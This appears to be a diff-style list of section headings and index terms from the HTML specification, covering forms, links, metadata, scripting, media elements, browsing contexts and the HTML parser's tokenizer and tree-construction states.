+<span class="secno">4.10.7.2 </span>Common <code>input</code> element attributes
+<span class="secno">4.10.7.2.1 </span>The <code title="attr-input-autocomplete">autocomplete</code> attribute
+<span class="secno">4.10.7.2.10 </span>The <code title="attr-input-min">min</code> and <code title="attr-input-max">max</code> attributes
+<span class="secno">4.10.7.2.11 </span>The <code title="attr-input-step">step</code> attribute
+<span class="secno">4.10.7.2.12 </span>The <code title="attr-input-placeholder">placeholder</code> attribute
+<span class="secno">4.10.7.2.2 </span>The <code title="attr-input-dirname">dirname</code> attribute
+<span class="secno">4.10.7.2.3 </span>The <code title="attr-input-list">list</code> attribute
+<span class="secno">4.10.7.2.4 </span>The <code title="attr-input-readonly">readonly</code> attribute
+<span class="secno">4.10.7.2.5 </span>The <code title="attr-input-size">size</code> attribute
+<span class="secno">4.10.7.2.6 </span>The <code title="attr-input-required">required</code> attribute
+<span class="secno">4.10.7.2.7 </span>The <code title="attr-input-multiple">multiple</code> attribute
+<span class="secno">4.10.7.2.8 </span>The <code title="attr-input-maxlength">maxlength</code> attribute
+<span class="secno">4.10.7.2.9 </span>The <code title="attr-input-pattern">pattern</code> attribute
+<span class="secno">4.10.7.3 </span>Common <code>input</code> element APIs
+<span class="secno">4.10.7.4 </span>Common event behaviors
+<span class="secno">4.10.8 </span>The <code>button</code> element
+<span class="secno">4.10.9 </span>The <code>select</code> element
+<span class="secno">4.11 </span>Interactive elements
+<span class="secno">4.11.1 </span>The <code>details</code> element
+<span class="secno">4.11.2 </span>The <code>summary</code> element
+<span class="secno">4.11.3 </span>The <code>command</code> element
+<span class="secno">4.11.4 </span>The <code>menu</code> element
+<span class="secno">4.11.4.1 </span>Introduction
+<span class="secno">4.11.4.2 </span>Building menus and toolbars
+<span class="secno">4.11.4.3 </span>Context menus
+<span class="secno">4.11.4.4 </span>Toolbars
+<span class="secno">4.11.5 </span>Commands
+<span class="secno">4.11.5.1 </span>Using the <code>a</code> element to define a command
+<span class="secno">4.11.5.2 </span>Using the <code>button</code> element to define a command
+<span class="secno">4.11.5.3 </span>Using the <code>input</code> element to define a command
+<span class="secno">4.11.5.4 </span>Using the <code>option</code> element to define a command
+<span class="secno">4.11.5.5 </span>Using the <code>command</code> element to define\n a command
+<span class="secno">4.11.5.6 </span>Using the <code title="attr-accesskey">accesskey</code> attribute on a <code>label</code> element to define a command
+<span class="secno">4.11.5.7 </span>Using the <code title="attr-accesskey">accesskey</code> attribute on a <code>legend</code> element to define a command
+<span class="secno">4.11.5.8 </span>Using the <code title="attr-accesskey">accesskey</code> attribute to define a command on other elements
+<span class="secno">4.12 </span>Links
+<span class="secno">4.12.1 </span>Introduction
+<span class="secno">4.12.2 </span>Links created by <code>a</code> and <code>area</code> elements
+<span class="secno">4.12.3 </span>Following hyperlinks
+<span class="secno">4.12.4 </span>Link types
+<span class="secno">4.12.4.1 </span>Link type "<code>alternate</code>"
+<span class="secno">4.12.4.10 </span>Link type "<code>search</code>"
+<span class="secno">4.12.4.11 </span>Link type "<code>stylesheet</code>"
+<span class="secno">4.12.4.12 </span>Link type "<code>tag</code>"
+<span class="secno">4.12.4.13 </span>Sequential link types
+<span class="secno">4.12.4.13.1 </span>Link type "<code>next</code>"
+<span class="secno">4.12.4.13.2 </span>Link type "<code>prev</code>"
+<span class="secno">4.12.4.14 </span>Other link types
+<span class="secno">4.12.4.2 </span>Link type "<code>author</code>"
+<span class="secno">4.12.4.3 </span>Link type "<code>bookmark</code>"
+<span class="secno">4.12.4.4 </span>Link type "<code>help</code>"
+<span class="secno">4.12.4.5 </span>Link type "<code>icon</code>"
+<span class="secno">4.12.4.6 </span>Link type "<code>license</code>"
+<span class="secno">4.12.4.7 </span>Link type "<code>nofollow</code>"
+<span class="secno">4.12.4.8 </span>Link type "<code>noreferrer</code>"
+<span class="secno">4.12.4.9 </span>Link type "<code>prefetch</code>"
+<span class="secno">4.13 </span>Common idioms without dedicated elements
+<span class="secno">4.13.1 </span>The main part of the content
+<span class="secno">4.13.2 </span>Bread crumb navigation
+<span class="secno">4.13.3 </span>Tag clouds
+<span class="secno">4.13.4 </span>Conversations
+<span class="secno">4.13.5 </span>Footnotes
+<span class="secno">4.14 </span>Matching HTML elements using selectors
+<span class="secno">4.14.1 </span>Case-sensitivity
+<span class="secno">4.14.2 </span>Pseudo-classes
+<span class="secno">4.2 </span>Document metadata
+<span class="secno">4.2.1 </span>The <code>head</code> element
+<span class="secno">4.2.2 </span>The <code>title</code> element
+<span class="secno">4.2.3 </span>The <code>base</code> element
+<span class="secno">4.2.4 </span>The <code>link</code> element
+<span class="secno">4.2.5 </span>The <code>meta</code> element
+<span class="secno">4.2.5.1 </span>Standard metadata names
+<span class="secno">4.2.5.2 </span>Other metadata names
+<span class="secno">4.2.5.3 </span>Pragma directives
+<span class="secno">4.2.5.4 </span>Other pragma directives
+<span class="secno">4.2.5.5 </span>Specifying the document's character encoding
+<span class="secno">4.2.6 </span>The <code>style</code> element
+<span class="secno">4.2.7 </span>Styling
+<span class="secno">4.3 </span>Scripting
+<span class="secno">4.3.1 </span>The <code>script</code> element
+<span class="secno">4.3.1.1 </span>Scripting languages
+<span class="secno">4.3.1.2 </span>Restrictions for contents of <code>script</code> elements
+<span class="secno">4.3.1.3 </span>Inline documentation for external scripts
+<span class="secno">4.3.1.4 </span>Interaction of <code>script</code> elements and XSLT
+<span class="secno">4.3.2 </span>The <code>noscript</code> element
+<span class="secno">4.4 </span>Sections
+<span class="secno">4.4.1 </span>The <code>body</code> element
+<span class="secno">4.4.10 </span>The <code>address</code> element
+<span class="secno">4.4.11 </span>Headings and sections
+<span class="secno">4.4.11.1 </span>Creating an outline
+<span class="secno">4.4.2 </span>The <code>section</code> element
+<span class="secno">4.4.3 </span>The <code>nav</code> element
+<span class="secno">4.4.4 </span>The <code>article</code> element
+<span class="secno">4.4.5 </span>The <code>aside</code> element
+<span class="secno">4.4.6 </span>The <code>h1</code>, <code>h2</code>, <code>h3</code>, <code>h4</code>, <code>h5</code>, and <code>h6</code> elements
+<span class="secno">4.4.7 </span>The <code>hgroup</code> element
+<span class="secno">4.4.8 </span>The <code>header</code> element
+<span class="secno">4.4.9 </span>The <code>footer</code> element
+<span class="secno">4.5 </span>Grouping content
+<span class="secno">4.5.1 </span>The <code>p</code> element
+<span class="secno">4.5.10 </span>The <code>dd</code> element
+<span class="secno">4.5.11 </span>The <code>figure</code> element
+<span class="secno">4.5.12 </span>The <code>figcaption</code> element
+<span class="secno">4.5.13 </span>The <code>div</code> element
+<span class="secno">4.5.2 </span>The <code>hr</code> element
+<span class="secno">4.5.3 </span>The <code>pre</code> element
+<span class="secno">4.5.4 </span>The <code>blockquote</code> element
+<span class="secno">4.5.5 </span>The <code>ol</code> element
+<span class="secno">4.5.6 </span>The <code>ul</code> element
+<span class="secno">4.5.7 </span>The <code>li</code> element
+<span class="secno">4.5.8 </span>The <code>dl</code> element
+<span class="secno">4.5.9 </span>The <code>dt</code> element
+<span class="secno">4.6 </span>Text-level semantics
+<span class="secno">4.6.1 </span>The <code>a</code> element
+<span class="secno">4.6.10 </span>The <code>time</code> element
+<span class="secno">4.6.11 </span>The <code>code</code> element
+<span class="secno">4.6.12 </span>The <code>var</code> element
+<span class="secno">4.6.13 </span>The <code>samp</code> element
+<span class="secno">4.6.14 </span>The <code>kbd</code> element
+<span class="secno">4.6.15 </span>The <code>sub</code> and <code>sup</code> elements
+<span class="secno">4.6.16 </span>The <code>i</code> element
+<span class="secno">4.6.17 </span>The <code>b</code> element
+<span class="secno">4.6.18 </span>The <code>u</code> element
+<span class="secno">4.6.19 </span>The <code>mark</code> element
+<span class="secno">4.6.2 </span>The <code>em</code> element
+<span class="secno">4.6.20 </span>The <code>ruby</code> element
+<span class="secno">4.6.21 </span>The <code>rt</code> element
+<span class="secno">4.6.22 </span>The <code>rp</code> element
+<span class="secno">4.6.23 </span>The <code>bdi</code> element
+<span class="secno">4.6.24 </span>The <code>bdo</code> element
+<span class="secno">4.6.25 </span>The <code>span</code> element
+<span class="secno">4.6.26 </span>The <code>br</code> element
+<span class="secno">4.6.27 </span>The <code>wbr</code> element
+<span class="secno">4.6.28 </span>Usage summary
+<span class="secno">4.6.3 </span>The <code>strong</code> element
+<span class="secno">4.6.4 </span>The <code>small</code> element
+<span class="secno">4.6.5 </span>The <code>s</code> element
+<span class="secno">4.6.6 </span>The <code>cite</code> element
+<span class="secno">4.6.7 </span>The <code>q</code> element
+<span class="secno">4.6.8 </span>The <code>dfn</code> element
+<span class="secno">4.6.9 </span>The <code>abbr</code> element
+<span class="secno">4.7 </span>Edits
+<span class="secno">4.7.1 </span>The <code>ins</code> element
+<span class="secno">4.7.2 </span>The <code>del</code> element
+<span class="secno">4.7.3 </span>Attributes common to <code>ins</code> and <code>del</code> elements
+<span class="secno">4.7.4 </span>Edits and paragraphs
+<span class="secno">4.7.5 </span>Edits and lists
+<span class="secno">4.7.6 </span>Edits and tables
+<span class="secno">4.8 </span>Embedded content
+<span class="secno">4.8.1 </span>The <code>img</code> element
+<span class="secno">4.8.1.1 </span>Requirements for providing text to act as an alternative for images
+<span class="secno">4.8.1.1.1 </span>General guidelines
+<span class="secno">4.8.1.1.10 </span>A key part of the content
+<span class="secno">4.8.1.1.11 </span>An image not intended for the user
+<span class="secno">4.8.1.1.12 </span>Guidance for markup generators
+<span class="secno">4.8.1.1.13 </span>Guidance for conformance checkers
+<span class="secno">4.8.1.1.2 </span>A link or button containing nothing but the image
+<span class="secno">4.8.1.1.3 </span>A phrase or paragraph with an alternative graphical representation: charts, diagrams, graphs, maps, illustrations
+<span class="secno">4.8.1.1.4 </span>A short phrase or label with an alternative graphical representation: icons, logos
+<span class="secno">4.8.1.1.5 </span>Text that has been rendered to a graphic for typographical effect
+<span class="secno">4.8.1.1.6 </span>A graphical representation of some of the surrounding text
+<span class="secno">4.8.1.1.7 </span>A purely decorative image that doesn't add any information
+<span class="secno">4.8.1.1.8 </span>A group of images that form a single larger picture with no links
+<span class="secno">4.8.1.1.9 </span>A group of images that form a single larger picture with links
+<span class="secno">4.8.10 </span>Media elements
+<span class="secno">4.8.10.1 </span>Error codes
+<span class="secno">4.8.10.10 </span>Media resources with multiple media tracks
+<span class="secno">4.8.10.10.1 </span><code>AudioTrackList</code> and <code>VideoTrackList</code> objects
+<span class="secno">4.8.10.10.2 </span>Selecting specific audio and video tracks declaratively
+<span class="secno">4.8.10.11 </span>Synchronising multiple media elements
+<span class="secno">4.8.10.11.1 </span>Introduction
+<span class="secno">4.8.10.11.2 </span>Media controllers
+<span class="secno">4.8.10.11.3 </span>Assigning a media controller declaratively
+<span class="secno">4.8.10.12 </span>Timed text tracks
+<span class="secno">4.8.10.12.1 </span>Text track model
+<span class="secno">4.8.10.12.2 </span>Sourcing in-band text tracks
+<span class="secno">4.8.10.12.3 </span>Sourcing out-of-band text tracks
+<span class="secno">4.8.10.12.4 </span>Text track API
+<span class="secno">4.8.10.12.5 </span>Text tracks describing chapters
+<span class="secno">4.8.10.12.6 </span>Event definitions
+<span class="secno">4.8.10.13 </span>User interface
+<span class="secno">4.8.10.14 </span>Time ranges
+<span class="secno">4.8.10.15 </span>Event definitions
+<span class="secno">4.8.10.16 </span>Event summary
+<span class="secno">4.8.10.17 </span>Security and privacy considerations
+<span class="secno">4.8.10.18 </span>Best practices for authors using media elements
+<span class="secno">4.8.10.19 </span>Best practices for implementors of media elements
+<span class="secno">4.8.10.2 </span>Location of the media resource
+<span class="secno">4.8.10.3 </span>MIME types
+<span class="secno">4.8.10.4 </span>Network states
+<span class="secno">4.8.10.5 </span>Loading the media resource
+<span class="secno">4.8.10.6 </span>Offsets into the media resource
+<span class="secno">4.8.10.7 </span>Ready states
+<span class="secno">4.8.10.8 </span>Playing the media resource
+<span class="secno">4.8.10.9 </span>Seeking
+<span class="secno">4.8.11 </span>The <code>canvas</code> element
+<span class="secno">4.8.11.1 </span>Color spaces and color correction
+<span class="secno">4.8.11.2 </span>Security with <code>canvas</code> elements
+<span class="secno">4.8.12 </span>The <code>map</code> element
+<span class="secno">4.8.13 </span>The <code>area</code> element
+<span class="secno">4.8.14 </span>Image maps
+<span class="secno">4.8.14.1 </span>Authoring
+<span class="secno">4.8.14.2 </span>Processing model
+<span class="secno">4.8.15 </span>MathML
+<span class="secno">4.8.16 </span>SVG
+<span class="secno">4.8.17 </span>Dimension attributes
+<span class="secno">4.8.2 </span>The <code>iframe</code> element
+<span class="secno">4.8.3 </span>The <code>embed</code> element
+<span class="secno">4.8.4 </span>The <code>object</code> element
+<span class="secno">4.8.5 </span>The <code>param</code> element
+<span class="secno">4.8.6 </span>The <code>video</code> element
+<span class="secno">4.8.7 </span>The <code>audio</code> element
+<span class="secno">4.8.8 </span>The <code>source</code> element
+<span class="secno">4.8.9 </span>The <code>track</code> element
+<span class="secno">4.9 </span>Tabular data
+<span class="secno">4.9.1 </span>The <code>table</code> element
+<span class="secno">4.9.1.1 </span>Techniques for describing tables
+<span class="secno">4.9.1.2 </span>Techniques for table layout
+<span class="secno">4.9.10 </span>The <code>th</code> element
+<span class="secno">4.9.11 </span>Attributes common to <code>td</code> and <code>th</code> elements
+<span class="secno">4.9.12 </span>Processing model
+<span class="secno">4.9.12.1 </span>Forming a table
+<span class="secno">4.9.12.2 </span>Forming relationships between data cells and header cells
+<span class="secno">4.9.13 </span>Examples
+<span class="secno">4.9.2 </span>The <code>caption</code> element
+<span class="secno">4.9.3 </span>The <code>colgroup</code> element
+<span class="secno">4.9.4 </span>The <code>col</code> element
+<span class="secno">4.9.5 </span>The <code>tbody</code> element
+<span class="secno">4.9.6 </span>The <code>thead</code> element
+<span class="secno">4.9.7 </span>The <code>tfoot</code> element
+<span class="secno">4.9.8 </span>The <code>tr</code> element
+<span class="secno">4.9.9 </span>The <code>td</code> element
+<span class="secno">5 </span>Loading Web pages
+<span class="secno">5.1 </span>Browsing contexts
+<span class="secno">5.1.1 </span>Nested browsing contexts
+<span class="secno">5.1.1.1 </span>Navigating nested browsing contexts in the DOM
+<span class="secno">5.1.2 </span>Auxiliary browsing contexts
+<span class="secno">5.1.2.1 </span>Navigating auxiliary browsing contexts in the DOM
+<span class="secno">5.1.3 </span>Secondary browsing contexts
+<span class="secno">5.1.4 </span>Security
+<span class="secno">5.1.5 </span>Groupings of browsing contexts
+<span class="secno">5.1.6 </span>Browsing context names
+<span class="secno">5.2 </span>The <code>Window</code> object
+<span class="secno">5.2.1 </span>Security
+<span class="secno">5.2.2 </span>APIs for creating and navigating browsing contexts by name
+<span class="secno">5.2.3 </span>Accessing other browsing contexts
+<span class="secno">5.2.4 </span>Named access on the <code>Window</code> object
+<span class="secno">5.2.5 </span>Garbage collection and browsing contexts
+<span class="secno">5.2.6 </span>Browser interface elements
+<span class="secno">5.2.7 </span>The <code>WindowProxy</code> object
+<span class="secno">5.3 </span>Origin
+<span class="secno">5.3.1 </span>Relaxing the same-origin restriction
+<span class="secno">5.4 </span>Session history and navigation
+<span class="secno">5.4.1 </span>The session history of browsing contexts
+<span class="secno">5.4.2 </span>The <code>History</code> interface
+<span class="secno">5.4.3 </span>The <code>Location</code> interface
+<span class="secno">5.4.3.1 </span>Security
+<span class="secno">5.4.4 </span>Implementation notes for session history
+<span class="secno">5.5 </span>Browsing the Web
+<span class="secno">5.5.1 </span>Navigating across documents
+<span class="secno">5.5.10 </span>History traversal
+<span class="secno">5.5.10.1 </span>Event definitions
+<span class="secno">5.5.11 </span>Unloading documents
+<span class="secno">5.5.11.1 </span>Event definition
+<span class="secno">5.5.12 </span>Aborting a document load
+<span class="secno">5.5.2 </span>Page load processing model for HTML files
+<span class="secno">5.5.3 </span>Page load processing model for XML files
+<span class="secno">5.5.4 </span>Page load processing model for text files
+<span class="secno">5.5.5 </span>Page load processing model for <code>multipart/x-mixed-replace</code> resources
+<span class="secno">5.5.6 </span>Page load processing model for media
+<span class="secno">5.5.7 </span>Page load processing model for content that uses plugins
+<span class="secno">5.5.8 </span>Page load processing model for inline content that doesn't have a DOM
+<span class="secno">5.5.9 </span>Navigating to a fragment identifier
+<span class="secno">5.6 </span>Offline Web applications
+<span class="secno">5.6.1 </span>Introduction
+<span class="secno">5.6.1.1 </span>Event summary
+<span class="secno">5.6.10 </span>Browser state
+<span class="secno">5.6.2 </span>Application caches
+<span class="secno">5.6.3 </span>The cache manifest syntax
+<span class="secno">5.6.3.1 </span>Some sample manifests
+<span class="secno">5.6.3.2 </span>Writing cache manifests
+<span class="secno">5.6.3.3 </span>Parsing cache manifests
+<span class="secno">5.6.4 </span>Downloading or updating an application cache
+<span class="secno">5.6.5 </span>The application cache selection algorithm
+<span class="secno">5.6.6 </span>Changes to the networking model
+<span class="secno">5.6.7 </span>Expiring application caches
+<span class="secno">5.6.8 </span>Disk space
+<span class="secno">5.6.9 </span>Application cache API
+<span class="secno">6 </span>Web application APIs
+<span class="secno">6.1 </span>Scripting
+<span class="secno">6.1.1 </span>Introduction
+<span class="secno">6.1.2 </span>Enabling and disabling scripting
+<span class="secno">6.1.3 </span>Processing model
+<span class="secno">6.1.3.1 </span>Definitions
+<span class="secno">6.1.3.2 </span>Calling scripts
+<span class="secno">6.1.3.3 </span>Creating scripts
+<span class="secno">6.1.3.4 </span>Killing scripts
+<span class="secno">6.1.3.5 </span>Runtime script errors
+<span class="secno">6.1.3.5.1 </span>Runtime script errors in documents
+<span class="secno">6.1.4 </span>Event loops
+<span class="secno">6.1.4.1 </span>Definitions
+<span class="secno">6.1.4.2 </span>Processing model
+<span class="secno">6.1.4.3 </span>Generic task sources
+<span class="secno">6.1.5 </span>The <code title="">javascript:</code> URL scheme
+<span class="secno">6.1.6 </span>Events
+<span class="secno">6.1.6.1 </span>Event handlers
+<span class="secno">6.1.6.2 </span>Event handlers on elements, <code>Document</code> objects, and <code>Window</code> objects
+<span class="secno">6.1.6.3 </span>Event firing
+<span class="secno">6.1.6.4 </span>Events and the <code>Window</code> object
+<span class="secno">6.2 </span>Base64 utility methods
+<span class="secno">6.3 </span>Timers
+<span class="secno">6.4 </span>User prompts
+<span class="secno">6.4.1 </span>Simple dialogs
+<span class="secno">6.4.2 </span>Printing
+<span class="secno">6.4.3 </span>Dialogs implemented using separate documents
+<span class="secno">6.5 </span>System state and capabilities
+<span class="secno">6.5.1 </span>The <code>Navigator</code> object
+<span class="secno">6.5.1.1 </span>Client identification
+<span class="secno">6.5.1.2 </span>Custom scheme and content handlers
+<span class="secno">6.5.1.3 </span>Security and privacy
+<span class="secno">6.5.1.4 </span>Sample user interface
+<span class="secno">6.5.1.5 </span>Manually releasing the storage mutex
+<span class="secno">6.5.2 </span>The <code>External</code> interface
+<span class="secno">7 </span>User interaction
+<span class="secno">7.1 </span>The <code>hidden</code> attribute
+<span class="secno">7.2 </span>Activation
+<span class="secno">7.3 </span>Focus
+<span class="secno">7.3.1 </span>Sequential focus navigation and the <code title="attr-tabindex">tabindex</code> attribute
+<span class="secno">7.3.2 </span>Focus management
+<span class="secno">7.3.3 </span>Document-level focus APIs
+<span class="secno">7.3.4 </span>Element-level focus APIs
+<span class="secno">7.4 </span>Assigning keyboard shortcuts
+<span class="secno">7.4.1 </span>Introduction
+<span class="secno">7.4.2 </span>The <code>accesskey</code> attribute
+<span class="secno">7.4.3 </span>Processing model
+<span class="secno">7.5 </span>Editing
+<span class="secno">7.5.1 </span>Making document regions editable: The <code title="attr-contenteditable">contenteditable</code> content\n attribute
+<span class="secno">7.5.2 </span>Making entire documents editable: The <code title="dom-document-designMode">designMode</code> IDL attribute
+<span class="secno">7.5.3 </span>Best practices for in-page editors
+<span class="secno">7.5.4 </span>Editing APIs
+<span class="secno">7.5.5 </span>Spelling and grammar checking
+<span class="secno">7.6 </span>Drag and drop
+<span class="secno">7.6.1 </span>Introduction
+<span class="secno">7.6.2 </span>The drag data store
+<span class="secno">7.6.3 </span>The <code>DataTransfer</code> interface
+<span class="secno">7.6.3.1 </span>The <code>DataTransferItemList</code> interface
+<span class="secno">7.6.3.2 </span>The <code>DataTransferItem</code> interface
+<span class="secno">7.6.4 </span>The <code>DragEvent</code> interface
+<span class="secno">7.6.5 </span>Drag-and-drop processing model
+<span class="secno">7.6.6 </span>Events summary
+<span class="secno">7.6.7 </span>The <code>draggable</code> attribute
+<span class="secno">7.6.8 </span>The <code>dropzone</code> attribute
+<span class="secno">7.6.9 </span>Security risks in the drag-and-drop model
+<span class="secno">8 </span>The HTML syntax
+<span class="secno">8.1 </span>Writing HTML documents
+<span class="secno">8.1.1 </span>The DOCTYPE
+<span class="secno">8.1.2 </span>Elements
+<span class="secno">8.1.2.1 </span>Start tags
+<span class="secno">8.1.2.2 </span>End tags
+<span class="secno">8.1.2.3 </span>Attributes
+<span class="secno">8.1.2.4 </span>Optional tags
+<span class="secno">8.1.2.5 </span>Restrictions on content models
+<span class="secno">8.1.2.6 </span>Restrictions on the contents of raw text and RCDATA elements
+<span class="secno">8.1.3 </span>Text
+<span class="secno">8.1.3.1 </span>Newlines
+<span class="secno">8.1.4 </span>Character references
+<span class="secno">8.1.5 </span>CDATA sections
+<span class="secno">8.1.6 </span>Comments
+<span class="secno">8.2 </span>Parsing HTML documents
+<span class="secno">8.2.1 </span>Overview of the parsing model
+<span class="secno">8.2.2 </span>The input stream
+<span class="secno">8.2.2.1 </span>Determining the character encoding
+<span class="secno">8.2.2.2 </span>Character encodings
+<span class="secno">8.2.2.3 </span>Preprocessing the input stream
+<span class="secno">8.2.2.4 </span>Changing the encoding while parsing
+<span class="secno">8.2.3 </span>Parse state
+<span class="secno">8.2.3.1 </span>The insertion mode
+<span class="secno">8.2.3.2 </span>The stack of open elements
+<span class="secno">8.2.3.3 </span>The list of active formatting elements
+<span class="secno">8.2.3.4 </span>The element pointers
+<span class="secno">8.2.3.5 </span>Other parsing state flags
+<span class="secno">8.2.4 </span>Tokenization
+<span class="secno">8.2.4.1 </span>Data state
+<span class="secno">8.2.4.10 </span>Tag name state
+<span class="secno">8.2.4.11 </span>RCDATA less-than sign state
+<span class="secno">8.2.4.12 </span>RCDATA end tag open state
+<span class="secno">8.2.4.13 </span>RCDATA end tag name state
+<span class="secno">8.2.4.14 </span>RAWTEXT less-than sign state
+<span class="secno">8.2.4.15 </span>RAWTEXT end tag open state
+<span class="secno">8.2.4.16 </span>RAWTEXT end tag name state
+<span class="secno">8.2.4.17 </span>Script data less-than sign state
+<span class="secno">8.2.4.18 </span>Script data end tag open state
+<span class="secno">8.2.4.19 </span>Script data end tag name state
+<span class="secno">8.2.4.2 </span>Character reference in data state
+<span class="secno">8.2.4.20 </span>Script data escape start state
+<span class="secno">8.2.4.21 </span>Script data escape start dash state
+<span class="secno">8.2.4.22 </span>Script data escaped state
+<span class="secno">8.2.4.23 </span>Script data escaped dash state
+<span class="secno">8.2.4.24 </span>Script data escaped dash dash state
+<span class="secno">8.2.4.25 </span>Script data escaped less-than sign state
+<span class="secno">8.2.4.26 </span>Script data escaped end tag open state
+<span class="secno">8.2.4.27 </span>Script data escaped end tag name state
+<span class="secno">8.2.4.28 </span>Script data double escape start state
+<span class="secno">8.2.4.29 </span>Script data double escaped state
+<span class="secno">8.2.4.3 </span>RCDATA state
+<span class="secno">8.2.4.30 </span>Script data double escaped dash state
+<span class="secno">8.2.4.31 </span>Script data double escaped dash dash state
+<span class="secno">8.2.4.32 </span>Script data double escaped less-than sign state
+<span class="secno">8.2.4.33 </span>Script data double escape end state
+<span class="secno">8.2.4.34 </span>Before attribute name state
+<span class="secno">8.2.4.35 </span>Attribute name state
+<span class="secno">8.2.4.36 </span>After attribute name state
+<span class="secno">8.2.4.37 </span>Before attribute value state
+<span class="secno">8.2.4.38 </span>Attribute value (double-quoted) state
+<span class="secno">8.2.4.39 </span>Attribute value (single-quoted) state
+<span class="secno">8.2.4.4 </span>Character reference in RCDATA state
+<span class="secno">8.2.4.40 </span>Attribute value (unquoted) state
+<span class="secno">8.2.4.41 </span>Character reference in attribute value state
+<span class="secno">8.2.4.42 </span>After attribute value (quoted) state
+<span class="secno">8.2.4.43 </span>Self-closing start tag state
+<span class="secno">8.2.4.44 </span>Bogus comment state
+<span class="secno">8.2.4.45 </span>Markup declaration open state
+<span class="secno">8.2.4.46 </span>Comment start state
+<span class="secno">8.2.4.47 </span>Comment start dash state
+<span class="secno">8.2.4.48 </span>Comment state
+<span class="secno">8.2.4.49 </span>Comment end dash state
+<span class="secno">8.2.4.5 </span>RAWTEXT state
+<span class="secno">8.2.4.50 </span>Comment end state
+<span class="secno">8.2.4.51 </span>Comment end bang state
+<span class="secno">8.2.4.52 </span>DOCTYPE state
+<span class="secno">8.2.4.53 </span>Before DOCTYPE name state
+<span class="secno">8.2.4.54 </span>DOCTYPE name state
+<span class="secno">8.2.4.55 </span>After DOCTYPE name state
+<span class="secno">8.2.4.56 </span>After DOCTYPE public keyword state
+<span class="secno">8.2.4.57 </span>Before DOCTYPE public identifier state
+<span class="secno">8.2.4.58 </span>DOCTYPE public identifier (double-quoted) state
+<span class="secno">8.2.4.59 </span>DOCTYPE public identifier (single-quoted) state
+<span class="secno">8.2.4.6 </span>Script data state
+<span class="secno">8.2.4.60 </span>After DOCTYPE public identifier state
+<span class="secno">8.2.4.61 </span>Between DOCTYPE public and system identifiers state
+<span class="secno">8.2.4.62 </span>After DOCTYPE system keyword state
+<span class="secno">8.2.4.63 </span>Before DOCTYPE system identifier state
+<span class="secno">8.2.4.64 </span>DOCTYPE system identifier (double-quoted) state
+<span class="secno">8.2.4.65 </span>DOCTYPE system identifier (single-quoted) state
+<span class="secno">8.2.4.66 </span>After DOCTYPE system identifier state
+<span class="secno">8.2.4.67 </span>Bogus DOCTYPE state
+<span class="secno">8.2.4.68 </span>CDATA section state
+<span class="secno">8.2.4.69 </span>Tokenizing character references
+<span class="secno">8.2.4.7 </span>PLAINTEXT state
+<span class="secno">8.2.4.8 </span>Tag open state
+<span class="secno">8.2.4.9 </span>End tag open state
+<span class="secno">8.2.5 </span>Tree construction
+<span class="secno">8.2.5.1 </span>Creating and inserting elements
+<span class="secno">8.2.5.2 </span>Closing elements that have implied end tags
+<span class="secno">8.2.5.3 </span>Foster parenting
+<span class="secno">8.2.5.4 </span>The rules for parsing tokens in HTML content
+<span class="secno">8.2.5.4.1 </span>The "initial" insertion mode
+<span class="secno">8.2.5.4.10 </span>The "in table text" insertion mode
+<span class="secno">8.2.5.4.11 </span>The "in caption" insertion mode
+<span class="secno">8.2.5.4.12 </span>The "in column group" insertion mode
+<span class="secno">8.2.5.4.13 </span>The "in table body" insertion mode
+<span class="secno">8.2.5.4.14 </span>The "in row" insertion mode
+<span class="secno">8.2.5.4.15 </span>The "in cell" insertion mode
+<span class="secno">8.2.5.4.16 </span>The "in select" insertion mode
+<span class="secno">8.2.5.4.17 </span>The "in select in table" insertion mode
+<span class="secno">8.2.5.4.18 </span>The "after body" insertion mode
+<span class="secno">8.2.5.4.19 </span>The "in frameset" insertion mode
+<span class="secno">8.2.5.4.2 </span>The "before html" insertion mode
+<span class="secno">8.2.5.4.20 </span>The "after frameset" insertion mode
+<span class="secno">8.2.5.4.21 </span>The "after after body" insertion mode
+<span class="secno">8.2.5.4.22 </span>The "after after frameset" insertion mode
+<span class="secno">8.2.5.4.3 </span>The "before head" insertion mode
+<span class="secno">8.2.5.4.4 </span>The "in head" insertion mode
+<span class="secno">8.2.5.4.5 </span>The "in head noscript" insertion mode
+<span class="secno">8.2.5.4.6 </span>The "after head" insertion mode
+<span class="secno">8.2.5.4.7 </span>The "in body" insertion mode
+<span class="secno">8.2.5.4.8 </span>The "text" insertion mode
+<span class="secno">8.2.5.4.9 </span>The "in table" insertion mode
+<span class="secno">8.2.5.5 </span>The rules for parsing tokens in foreign content
+<span class="secno">8.2.6 </span>The end
+<span class="secno">8.2.7 </span>Coercing an HTML DOM into an infoset
+<span class="secno">8.2.8 </span>An introduction to error handling and strange cases in the parser
+<span class="secno">8.2.8.1 </span>Misnested tags: &lt;b&gt;&lt;i&gt;&lt;/b&gt;&lt;/i&gt;
+<span class="secno">8.2.8.2 </span>Misnested tags: &lt;b&gt;&lt;p&gt;&lt;/b&gt;&lt;/p&gt;
+<span class="secno">8.2.8.3 </span>Unexpected markup in tables
+<span class="secno">8.2.8.4 </span>Scripts that modify the page as it is being parsed
+<span class="secno">8.2.8.5 </span>The execution of scripts that are moving across multiple documents
+<span class="secno">8.2.8.6 </span>Unclosed formatting elements
+<span class="secno">8.3 </span>Serializing HTML fragments
+<span class="secno">8.4 </span>Parsing HTML fragments
+<span class="secno">8.5 </span>Named character references
+<span class="secno">9 </span>The XHTML syntax
+<span class="secno">9.1 </span>Writing XHTML documents
+<span class="secno">9.2 </span>Parsing XHTML documents
+<span class="secno">9.3 </span>Serializing XHTML fragments
+<span class="secno">9.4 </span>Parsing XHTML fragments
+<var title="">fieldset</var>.elements
+<var title="">form</var>.elements
+A\n composite approach to language/encoding\n detection
+A MIME\n Content-Type for Directory Information
+ASCII\n case-insensitive
+ASCII\n case-insensitive
+ASCII\n case-insensitive
+ASCII\n case-insensitive
+ASCII\n Printable Characters-Based Chinese Character Encoding for Internet\n Messages
+ASCII\n case-insensitive
+ASCII\n case-insensitive
+ASCII case-insensitive
+ASCII-compatible character\n encoding
+ASCII-compatible character\n encoding
+ASCII-compatible character encoding
+ASCII-compatible character encodings
+ASCII-lowercase
+Abort
+Abort the\n <code>Document</code>
+Access Key
+Access Keys
+AccessKey
+Accessible Rich\n Internet Applications (WAI-ARIA)
+Acknowledge the\n token's <i>self-closing flag</i>
+Acknowledgements
+Action
+AddSearchProvider
+Adjust MathML attributes
+Adjust SVG attributes
+Adjust foreign attributes
+Advance
+Algorithms\n and Identifiers for the Internet X.509 Public Key Infrastructure\n Certificate and Certificate Revocation List (CRL)\n Profile
